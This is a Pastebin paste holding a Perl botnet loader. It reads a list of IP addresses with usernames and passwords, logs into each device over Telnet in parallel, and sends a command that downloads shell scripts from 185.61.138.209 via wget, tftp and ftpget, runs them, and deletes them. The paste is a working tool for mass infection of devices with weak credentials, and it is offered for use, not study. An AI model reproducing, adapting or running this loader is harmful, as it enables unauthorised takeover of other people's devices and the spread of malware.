Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- # Big 3k list https://www.dropbox.com/s/prasg4b8g933czi/3k.txt?dl=0
- if (@ARGV < 1)
- {
- print "Usage: perl " . $0 . " <list>\n";
- exit;
- }
- use Net::Telnet;use Parallel::ForkManager;
- my $checkTelnet = true;
- my $botCmd = 'cd /tmp || cd /var/system || cd /mnt || cd /lib || cd /var/run || cd /root || cd /; wget http://185.61.138.209/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 185.61.138.209 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.61.138.209; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.61.138.209 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh\n';
- my $worker = new Parallel::ForkManager(1024); open(fh, "<", @ARGV[0]); @login; while (<fh>)
- {
- @array = split(":", $_); push(@login, @array);
- }
- for (my $i = 0; $i < scalar(@login); $i += 3)
- {
- $worker->start and next;
- $a = $i; # IP Address
- $b = $i + 1; # Username
- $c = $i + 2; # Password
- my $telnet = new Net::Telnet();
- if($checkTelnet && $telnet->open(Host=>$login[$a], Timeout=>30))
- {
- my$res=$telnet->login($login[$b],$login[$c]);
- if ($res){
- $telnet->cmd($botCmd);
- sleep 30;
- print "[\033[32m+\033[37m] Command sent $login[$a]\n";
- $worker->finish;
- }
- $worker->wait_all_children;
Advertisement
Add Comment
Please, Sign In to add comment